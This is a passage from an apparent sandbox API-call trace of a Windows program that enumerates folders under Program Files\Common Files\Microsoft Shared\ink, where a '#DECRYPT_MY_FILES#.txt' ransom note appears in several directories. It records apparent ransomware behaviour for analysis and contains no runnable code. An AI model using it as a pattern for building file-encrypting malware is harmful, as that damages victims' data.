ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName="..", cAlternateFileName="")) returned 1 [0033.951] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb738b240, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.951] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x80d910, dwReserved1=0x42b1a8, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0033.951] AreFileApisANSI () returned 1 [0033.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0033.951] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x40, dwReserved1=0x180, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0033.951] AreFileApisANSI () returned 1 [0033.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0033.952] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x40, dwReserved1=0x180, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0033.952] AreFileApisANSI () returned 1 [0033.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0033.952] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x40, dwReserved1=0x180, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0033.952] FindClose (in: hFindFile=0x825950 | out: hFindFile=0x825950) returned 1 [0033.952] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x40, dwReserved1=0x180, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0033.952] AreFileApisANSI () returned 1 [0033.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0033.953] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="main", cAlternateFileName="")) returned 1 [0033.953] AreFileApisANSI () returned 1 [0033.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0033.956] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0033.956] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName="..", cAlternateFileName="")) returned 1 [0033.956] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb738b240, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.956] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x80d910, dwReserved1=0x42b1a8, cFileName="base.xml", cAlternateFileName="")) returned 1 [0033.956] AreFileApisANSI () returned 1 [0033.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0033.957] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x40, dwReserved1=0x180, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0033.957] AreFileApisANSI () returned 1 [0033.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0033.957] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x40, dwReserved1=0x180, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0033.957] AreFileApisANSI () returned 1 [0033.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0033.958] AreFileApisANSI () returned 1 [0033.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0033.958] AreFileApisANSI () returned 1 [0033.958] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0033.959] AreFileApisANSI () returned 1 [0033.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0033.959] AreFileApisANSI () returned 1 [0033.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0033.960] AreFileApisANSI () returned 1 [0033.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0033.960] AreFileApisANSI () returned 1 [0033.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.961] AreFileApisANSI () returned 1 [0033.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.961] AreFileApisANSI () returned 1 [0033.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0033.961] AreFileApisANSI () returned 1 [0033.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0033.962] AreFileApisANSI () returned 1 [0033.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0033.962] AreFileApisANSI () returned 1 [0033.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0033.962] AreFileApisANSI () returned 1 [0033.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0033.963] GetFileType (hFile=0x13c) returned 0x1 [0033.964] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73b13a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73b13a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0033.964] AreFileApisANSI () returned 1 [0033.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0033.964] AreFileApisANSI () returned 1 [0033.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0033.965] AreFileApisANSI () returned 1 [0033.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0033.966] GetFileType (hFile=0x13c) returned 0x1 [0033.967] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73b13a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73b13a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0033.967] AreFileApisANSI () returned 1 [0033.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0033.968] AreFileApisANSI () returned 1 [0033.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0033.968] AreFileApisANSI () returned 1 [0033.968] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 99 [0033.968] GetFileType (hFile=0x13c) returned 0x1 [0033.969] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73b13a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73b13a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0033.969] AreFileApisANSI () returned 1 [0033.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0033.969] AreFileApisANSI () returned 1 [0033.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0033.970] AreFileApisANSI () returned 1 [0033.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0033.970] GetFileType (hFile=0x13c) returned 0x1 [0033.971] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73b13a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73b13a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0033.972] AreFileApisANSI () returned 1 [0033.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0033.974] AreFileApisANSI () returned 1 [0033.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0033.974] AreFileApisANSI () returned 1 [0033.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0033.981] GetFileType (hFile=0x13c) returned 0x1 [0033.982] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73d7500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73d7500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0033.982] AreFileApisANSI () returned 1 [0033.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0033.982] AreFileApisANSI () returned 1 [0033.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0033.983] AreFileApisANSI () returned 1 [0033.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0033.983] AreFileApisANSI () returned 1 [0033.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0033.983] AreFileApisANSI () returned 1 [0033.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0033.984] GetFileType (hFile=0x13c) returned 0x1 [0033.985] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73d7500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73d7500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0033.985] AreFileApisANSI () returned 1 [0033.985] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0033.986] AreFileApisANSI () returned 1 [0033.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.986] AreFileApisANSI () returned 1 [0033.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.987] GetFileType (hFile=0xc4) returned 0x1 [0033.988] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73d7500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73d7500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.988] AreFileApisANSI () returned 1 [0033.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.989] GetFileType (hFile=0xc4) returned 0x1 [0033.989] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73d7500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73d7500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.990] AreFileApisANSI () returned 1 [0033.990] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.990] GetFileType (hFile=0xc4) returned 0x1 [0033.991] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73d7500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73d7500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.992] AreFileApisANSI () returned 1 [0033.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0033.992] AreFileApisANSI () returned 1 [0033.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0033.993] GetFileType (hFile=0xc4) returned 0x1 [0033.994] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb73fd660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73fd660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.994] AreFileApisANSI () returned 1 [0033.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0033.995] AreFileApisANSI () returned 1 [0033.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0033.995] AreFileApisANSI () returned 1 [0033.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0033.995] AreFileApisANSI () returned 1 [0033.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0033.996] AreFileApisANSI () returned 1 [0033.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0033.996] AreFileApisANSI () returned 1 [0033.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0033.996] AreFileApisANSI () returned 1 [0033.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0033.996] AreFileApisANSI () returned 1 [0033.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.996] AreFileApisANSI () returned 1 [0033.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.996] AreFileApisANSI () 